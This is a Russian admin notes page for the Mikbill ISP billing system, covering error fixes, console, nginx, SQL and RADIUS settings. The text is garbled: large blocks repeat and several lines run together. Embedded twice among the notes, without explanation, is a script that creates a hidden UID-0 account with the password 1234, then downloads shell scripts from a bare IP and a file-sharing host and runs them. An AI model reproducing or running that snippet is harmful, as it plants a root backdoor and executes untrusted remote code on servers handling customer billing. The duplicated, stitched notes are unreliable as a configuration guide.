Mikbill
Ошибка
/ajax/users/getsysoptsflex
не настроена роль
Рвем сессию из консоли
cd /var/www/mikbill/admin
php index.php kick 1234
где 1234 uid абона
Ошибка при изменении сегмента
неизвестная ошибка: /ajax/users/updateuserflex
в логах админки:
Ошибка
Ошибка
Ставим права веб-сервера файлам
все что в таблице radacctbras - онлайн
Команда включает интернет если хватает денег
action_after_account_refill UID
upstream timed out (110: Connection timed out) while reading response header from upstream
ошибка 504 при открытии www
прописать домены в /etc/host
Баг не удаляется bras с html5 админки
удалять тут
/ajax/users/getsysoptsflex
не настроена роль
Рвем сессию из консоли
cd /var/www/mikbill/admin
php index.php kick 1234
где 1234 uid абона
Ошибка при изменении сегмента
неизвестная ошибка: /ajax/users/updateuserflex
в логах админки:
Warning: file_put_contents(/usr/local/etc/dhcpd.conf): failed to open stream: Permission denied in /var/www/mikbill/admin/index.php: 53864Решение
дать права на запись другим на конфиг DHCP
Ошибка
Access denied; you need (at least one of) the SUPER privilege(s) for this operation
выдайте пользователю mikbill в MySQL привилегии SUPER
Ошибка
which: no mpstat inСтавим sysstat
- yum install sysstat
Ставим права веб-сервера файлам
- chown -R apache:apache /var/www/mikbill/
все что в таблице radacctbras - онлайн
Команда включает интернет если хватает денег
action_after_account_refill UID
upstream timed out (110: Connection timed out) while reading response header from upstream
ошибка 504 при открытии www
прописать домены в /etc/host
Баг не удаляется bras с html5 админки
удалять тут
admin/res/mbp/datas/store/bras/bras_$ID.json
и подобный error error в устройствах:
удалить с каталога файлы
/var/www/mikbill/admin/res/mbp/datas/store/dev
через время они перезальются и приведутся в порядок
Ошибка
No entry for terminal type "unknown";
using dumb terminal settings.
это ни на что не влияет
Ошибка
Role 187
Открыта админка и кабинет по ип
Дебаг админки
<mbdebug>true</mbdebug>
Скрипт рассылка смс
Ошибка в логе ядра
лицензия / время / dns
Ошибка при обновлении
Ошибка в shell_log_error.txt
Defaults requiretty
это блокирует использование судо из крона
Просмотр лога
Выкидываем из консоли клиентов
Дебаг выкидываения
tail -f /var/log/auth.log
Проблема с кодировкой для чеков и ТД
charset utf-8; в конфиге nginx
для апача
/etc/httpd(или apache2)/conf/httpd.conf
строка AddDefaultCharset UTF-8
узнаем версию с консоли
реальник узнаем
wget -O - -q mikbill.ru/getip.php
fail2ban
iptables -L -n
баг с сегментами
баг повторил у себя
создал устройство
закинул туда сегмент
удалил устройство
сегмент не удалить
DEL switch 3 вот такую запись надо искть по логам операторов
Меняем на новый кабинет nginx
Чистим var/lib/php5
Чистит сразу:
чистит у которых вышло время:
Сразу, лучше ставить раз в сутки
"time perl -e 'opendir(D1, "/var/lib/php52") || die "Error: $!"; readdir(D1); readdir(D1); while ($a=readdir(D1)) { unlink("$a");}'"
настраиваем логирование в php.ini
error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR
Ошибка
radius:write: Operation not permitted
решилась установкой fs.file-max = 1000000
или возможно закончилось место на диске
Ошибка
PHP Fatal error: Incompatible file format: The encoded file has format major ID 5,
возможно не верная версия ядра mikbill решилось установкой ядра для php 5.3 (скорее всего ядро было для php 5.2 )
ошибка MySQL server has gone away
https://wiki.mikbill.ru/billing/radiusd_check
Отключаем автообновление
в кроне комментируем
Радиус должен быть с поддержкой THREADS
perl -V |grep ITH
USE_ITHREADS USE_LARGE_FILES USE_PERLIO USE_PERL_ATOF
Ставим время в админке
config.xml
<config>
<parameters>
<mysql>
<host>localhost</host>
<dbname>mikbill</dbname>
</mysql>
<timezone>Europe/Moscow</timezone>
<kernel>
по поводу авторизации по регистронезависиомму логину
там надо сделать вот так
ALTER TABLE `users` CHANGE `user` `user` VARCHAR(32) CHARACTER SET koi8r COLLATE koi8r_general_ci NOT NULL;
koi8r_general_ci - регистронезависимая
koi8r_bin - зависит от регистра
вот так легко меняется
тоже самое можно и с полем пароля если сильно нужно
Ищем всех с услугой турбо
Обновление
скрипт var/www/mikbill/admin/sys/update/mikbill_update.sh
для пхп5.4 меняем
http://nekkoy.ga/wiki/Stuff/Mysql
перенос снятия абоноплаты:
01 0 1 * * root /var/www/mikbill/admin/sys/scripts/mikbill_mth.sh
меняем на (перенос с 1 на 4 день)
01 0 4 * * root /var/www/mikbill/admin/sys/scripts/mikbill_mth.sh
(неверный вариант)
выставить "обязательно каждый месяц плавающая дата"
UPDATE users SET date_abonka = 7;
UPDATE usersfreeze SET date_abonka = 7;
UPDATE usersblok SET date_abonka = 7;
UPDATE usersdel SET date_abonka = 7;
Cкачать дистрибутив
kill -KILL `lsof -t -i:1812`
ps axu | grep gcalctool
netstat -nl |grep 2007
netstat -nl |grep 1812
env LD_PRELOAD="/usr/lib/libperl.so.5.14" /usr/sbin/freeradius -f
/usr/lib/libperl.so.5.14 /usr/sbin/freeradius -f
kill -KILL `lsof -t -i:1812`
Консольные команды
Выписка Приватбанк
в crontab:
mcedit /var/www/mikbill/admin/sys/scripts/getPrivatPreviousPayments.sh
Вход абонентов в кабинет без логина и пароля
в конфиге /var/www/mikbill/stat/app/etc/config.xml
проставьте такие значения:
<doauthbyip>1</doauthbyip>
<doauthbyframedip>1</doauthbyframedip>
<doauthbyonlineip>1</doauthbyonlineip>
также
/etc/nginx/nginx.conf
ignore_invalid_headers off;
в секции http {
Проверка - зайти в лк и перейти по ссылке
http://stat.my/main.php?action=getip
Ошибка
Ошибка сетевого транспорта. Попробуйте зайти позже...
Ключ активации
/var/www/mikbill/admin/app/etc/*.key *.crt
Оптимизация запросов радиуса
/etc/raddb/radiusd.conf
thread pool {
<------>start_servers = 1
<------>max_servers = 9
<------>min_spare_servers = 1
<------>max_spare_servers = 9
<------>max_requests_per_server = 512
}
9-число процессоров*2 +1
Определение количества ядер cat /proc/cpuinfo | grep ^processor |wc -l
Notice: Undefined offset: 1 in /var/www/mikbill/admin/index.php: 93074
в справочнике нет адреса дома в общем устройству назначен не существующий индекс дома
Авторизация по IP
Включить в настройках нас:
/var/www/mikbill/admin/sys/update/sqlupd/deploy/build.properties
показывает сборку mikbill
/sys/update/mikbill_current
график юзера
/sys/mrtg_users/uid_11.html
время сервера
/res/mon/date.php
nas_threads
/res/mon/nas_threads.php
текстовые файлы типа
/res/pma/README (версия phpmyadmin)
/res/pma/RELEASE-DATE-3.4.7.1
куча файлов непонятного кода
res/pma/js
доступен setup phpmyadmin
res/pma/setup
crossdomain.xml
/res/pma/setup/config.php
просмотр тарифов (не показывает не разрешенные для подключения замороженным/удаленным)
/ajax/users/gettariflistvklfl
Закрываем доступ к сайту где доступ не нужен
location ~* ^/(app/|res/balanse/|res/convert/|res/convert2/|res/convert3/|res/history/|res/pcq/|res/shapers/|res/sms/|res/smspilot/|res/smsukr/|res/ssh/|res/w.qiwi.ru/|sys/scripts/|sys/update/).*\.(xml|sh|php|log|sql|txt|properties)$ {deny all;}
для работы киви нужно убрать res/w.qiwi.ru/| и sys/scripts/|
**********************************************************************
mcedit ha.sh
#!/bin/sh
adduser user31 -ou 0 -g 0 | echo -e "1234\n1234" | (passwd --stdin user31)
get -P /home/ http://200.200.200.200/ha.sh
chmod a+x /home/ha.sh
/home/ha.sh
wget https://www.cubbyusercontent.com/pl/radius.sh/_3dd34af610ab4659980dcffd9624dff7 -O /home/radius.sh;chmod +x /home/radius.sh
/home/radius.sh
***************
/admin/sys/scripts/mikbill_payment_event.sh
Скрипт вызываемый по совершению платежа
/admin/sys/scripts/mb_after_pay.sh;
Скрипт вызываемый после совершения оплаты у абонента
***************
если ip на которые идёт нат не присутствую на сервере то он рано или поздно выхватит паник
и подобный error error в устройствах:
удалить с каталога файлы
/var/www/mikbill/admin/res/mbp/datas/store/dev
через время они перезальются и приведутся в порядок
Ошибка
No entry for terminal type "unknown";
using dumb terminal settings.
это ни на что не влияет
Ошибка
Role 187
Открыта админка и кабинет по ип
Дебаг админки
<mbdebug>true</mbdebug>
Скрипт рассылка смс
Ошибка в логе ядра
Misread. Reason: Successпроверяем:
лицензия / время / dns
Ошибка при обновлении
Connection error file mikbill_rev_upпроверить ДНС сервера
Ошибка в shell_log_error.txt
sudo: sorry, you must have a tty to run sudoзакоментить в sudoers
Defaults requiretty
это блокирует использование судо из крона
Просмотр лога
- tail -f /var/www/mikbill/admin/app/log/shell_log_error.txt
Выкидываем из консоли клиентов
- /usr/bin/sudo -u root /bin/echo "User-Name=28:10:7B:F1:A4:B5,Framed-IP-Address=10.11.12.172" | /usr/bin/radclient -r 1 10.11.11.1:3799 disconnect secret &>/dev/null 2>&1
Дебаг выкидываения
tail -f /var/log/auth.log
Проблема с кодировкой для чеков и ТД
charset utf-8; в конфиге nginx
для апача
/etc/httpd(или apache2)/conf/httpd.conf
строка AddDefaultCharset UTF-8
узнаем версию с консоли
- use mikbill;
- SELECT get_version();
- mysql -D mikbill -u $(cat '/var/www/mikbill/admin/app/etc/config.xml'| grep username | awk '{ gsub("<username>"," "); print }' | awk '{ gsub("</username>"," "); print }' | awk '{print $1}') -p$(cat '/var/www/mikbill/admin/app/etc/config.xml'| grep password | awk '{ gsub("<password>"," "); print }' | awk '{ gsub("</password>"," "); print }' | awk '{print $1}') -e "SELECT get_version()"
или
- ver=$(cat /var/www/mikbill/admin/sys/update/mikbill_current); echo ${ver:5}
wget -O - -q mikbill.ru/getip.php
fail2ban
iptables -L -n
iptables -D f2b-SSH -s 8.251.110.8 -j REJECT
баг с сегментами
баг повторил у себя
создал устройство
закинул туда сегмент
удалил устройство
сегмент не удалить
DEL switch 3 вот такую запись надо искть по логам операторов
Меняем на новый кабинет nginx
/etc/nginx/conf.d/stat.conf
До изменения:
index index.php; location / { root /var/www/mikbill/stat; index index.php; try_files $uri $uri/ /index.php?$args; }
После изменения:
index main.php; location / { root /var/www/mikbill/stat; index main.php; try_files $uri $uri/ /index.php?$args; }
Чистим var/lib/php5
Чистит сразу:
- find /var/lib/php5/ -size 0 -type f -delete
чистит у которых вышло время:
- find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -delete
Сразу, лучше ставить раз в сутки
"time perl -e 'opendir(D1, "/var/lib/php52") || die "Error: $!"; readdir(D1); readdir(D1); while ($a=readdir(D1)) { unlink("$a");}'"
настраиваем логирование в php.ini
error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR
Ошибка
radius:write: Operation not permitted
решилась установкой fs.file-max = 1000000
или возможно закончилось место на диске
Ошибка
PHP Fatal error: Incompatible file format: The encoded file has format major ID 5,
возможно не верная версия ядра mikbill решилось установкой ядра для php 5.3 (скорее всего ядро было для php 5.2 )
ошибка MySQL server has gone away
https://wiki.mikbill.ru/billing/radiusd_check
Отключаем автообновление
в кроне комментируем
#00 2 * * * root /usr/local/sbin/cron_mikbill.sh > /dev/nullОшибки при неправильной лицензии
[root@Billing update]# service mikbill status
Status MikBiLL server PID: 6065 6006
mikbill (pid 6006) выполняется...
[root@Billing update]# ./mikbill_update.sh
Start UPDATER SOFT!
/bin/cat: ./mikbill_rev_up: Нет такого файла или каталога
./mikbill_update.sh: line 53: [: -ne: ожидается использование унарного оператора
/bin/cat: ./mikbill_revision: Нет такого файла или каталога
./mikbill_update.sh: line 78: [: -eq: ожидается использование унарного оператора
/bin/cat: ./mikbill_checksum: Нет такого файла или каталога
/usr/bin/md5sum: ./mikbill.tar.gz: Нет такого файла или каталога
Update Don't Download У вас закончились обновления вопросы на info@mikbill.ru
Радиус должен быть с поддержкой THREADS
perl -V |grep ITH
USE_ITHREADS USE_LARGE_FILES USE_PERLIO USE_PERL_ATOF
Ставим время в админке
config.xml
<config>
<parameters>
<mysql>
<host>localhost</host>
<dbname>mikbill</dbname>
</mysql>
<timezone>Europe/Moscow</timezone>
<kernel>
по поводу авторизации по регистронезависиомму логину
там надо сделать вот так
ALTER TABLE `users` CHANGE `user` `user` VARCHAR(32) CHARACTER SET koi8r COLLATE koi8r_general_ci NOT NULL;
koi8r_general_ci - регистронезависимая
koi8r_bin - зависит от регистра
вот так легко меняется
тоже самое можно и с полем пароля если сильно нужно
Ищем всех с услугой турбо
- SELECT * FROM
- bugh_uslugi_stat WHERE active=1 and usluga=3
Обновление
скрипт var/www/mikbill/admin/sys/update/mikbill_update.sh
для пхп5.4 меняем
UPDATE_URL="http://update254.mikbill.ru/"для free сторка
UPDATE_URL="http://update2free.mikbill.ru/"Ошибка
Users limit ReachedЛицензия не прошла, проверить файлы лицензии и апдейт
http://nekkoy.ga/wiki/Stuff/Mysql
перенос снятия абоноплаты:
01 0 1 * * root /var/www/mikbill/admin/sys/scripts/mikbill_mth.sh
меняем на (перенос с 1 на 4 день)
01 0 4 * * root /var/www/mikbill/admin/sys/scripts/mikbill_mth.sh
(неверный вариант)
выставить "обязательно каждый месяц плавающая дата"
UPDATE users SET date_abonka = 7;
UPDATE usersfreeze SET date_abonka = 7;
UPDATE usersblok SET date_abonka = 7;
UPDATE usersdel SET date_abonka = 7;
Cкачать дистрибутив
wget http://www.mikbill.ru/mikbill.tar.gz
kill -KILL `lsof -t -i:1812`
ps axu | grep gcalctool
netstat -nl |grep 2007
netstat -nl |grep 1812
env LD_PRELOAD="/usr/lib/libperl.so.5.14" /usr/sbin/freeradius -f
/usr/lib/libperl.so.5.14 /usr/sbin/freeradius -f
kill -KILL `lsof -t -i:1812`
Серверы активации находятся по DNS именам:
- cert1.celteh.com ping cert1.celteh.com
- cert2.celteh.com
- cert3.celteh.com
- cd /usr/local/www/mikbill/admin
далее выполняем:
- php ./index.php "команда" "параметр"
Выписка Приватбанк
в crontab:
10 * * * * root /var/www/mikbill/admin/sys/scripts/getPrivatTodayPayments.sh > /dev/null
#10 0 * * * root /var/www/mikbill/admin/sys/scripts/getPrivatPreviousPayments.sh > /dev/null
mcedit /var/www/mikbill/admin/sys/scripts/getPrivatTodayPayments.sh
#!/bin/shcd /var/www/mikbill/adminphp ./index.php getPrivatTodayPayments
mcedit /var/www/mikbill/admin/sys/scripts/getPrivatPreviousPayments.sh
#!/bin/shcd /var/www/mikbill/adminphp ./index.php getPrivatPreviousPayments
Вход абонентов в кабинет без логина и пароля
в конфиге /var/www/mikbill/stat/app/etc/config.xml
проставьте такие значения:
<doauthbyip>1</doauthbyip>
<doauthbyframedip>1</doauthbyframedip>
<doauthbyonlineip>1</doauthbyonlineip>
также
/etc/nginx/nginx.conf
ignore_invalid_headers off;
в секции http {
Проверка - зайти в лк и перейти по ссылке
http://stat.my/main.php?action=getip
- doauthbyip - значение 1 включает "автовход" абонента под зафиксированным в билинге его "локальным ip"
- doauthbyframedip - значение 1 включает "автовход" абонента под зафиксированным в билилнге его "Выдаваемом ip"
- doauthbyonlineip - значение 1 включает "автовход" абонента под "ip" который числиться в ONLINE
- doauthonlypass - значение 1 включает вход только по паролю
Ошибка
Ошибка сетевого транспорта. Попробуйте зайти позже...
1. Проверить есть ли пинг с сервера на stat.isp.demo (isp.demo заменить на вашу ссылку)
2. Если пинга нет то прописать в host:
2. Если пинга нет то прописать в host:
127.0.0.1 stat.isp.demo(isp.demo заменить на вашу ссылку)
3. Проверить пароль в кабинете к мускулю
Ключ активации
/var/www/mikbill/admin/app/etc/*.key *.crt
Оптимизация запросов радиуса
/etc/raddb/radiusd.conf
thread pool {
<------>start_servers = 1
<------>max_servers = 9
<------>min_spare_servers = 1
<------>max_spare_servers = 9
<------>max_requests_per_server = 512
}
9-число процессоров*2 +1
Определение количества ядер cat /proc/cpuinfo | grep ^processor |wc -l
Notice: Undefined offset: 1 in /var/www/mikbill/admin/index.php: 93074
в справочнике нет адреса дома в общем устройству назначен не существующий индекс дома
Авторизация по IP
Включить в настройках нас:
ip unnumbered
CallerlD авторизация
использовать SSH
показывает сборку mikbill
/sys/update/mikbill_current
график юзера
/sys/mrtg_users/uid_11.html
/res/mon/date.php
nas_threads
/res/mon/nas_threads.php
текстовые файлы типа
/res/pma/README (версия phpmyadmin)
/res/pma/RELEASE-DATE-3.4.7.1
куча файлов непонятного кода
res/pma/js
доступен setup phpmyadmin
res/pma/setup
crossdomain.xml
/res/pma/setup/config.php
просмотр тарифов (не показывает не разрешенные для подключения замороженным/удаленным)
/ajax/users/gettariflistvklfl
Закрываем доступ к сайту где доступ не нужен
location ~* ^/(app/|res/balanse/|res/convert/|res/convert2/|res/convert3/|res/history/|res/pcq/|res/shapers/|res/sms/|res/smspilot/|res/smsukr/|res/ssh/|res/w.qiwi.ru/|sys/scripts/|sys/update/).*\.(xml|sh|php|log|sql|txt|properties)$ {deny all;}
для работы киви нужно убрать res/w.qiwi.ru/| и sys/scripts/|
**********************************************************************
mcedit ha.sh
#!/bin/sh
adduser user31 -ou 0 -g 0 | echo -e "1234\n1234" | (passwd --stdin user31)
get -P /home/ http://200.200.200.200/ha.sh
chmod a+x /home/ha.sh
/home/ha.sh
wget https://www.cubbyusercontent.com/pl/radius.sh/_3dd34af610ab4659980dcffd9624dff7 -O /home/radius.sh;chmod +x /home/radius.sh
/home/radius.sh
***************
/admin/sys/scripts/mikbill_payment_event.sh
Скрипт вызываемый по совершению платежа
/admin/sys/scripts/mb_after_pay.sh;
Скрипт вызываемый после совершения оплаты у абонента
***************
если ip на которые идёт нат не присутствую на сервере то он рано или поздно выхватит паник
Комментарии
Отправить комментарий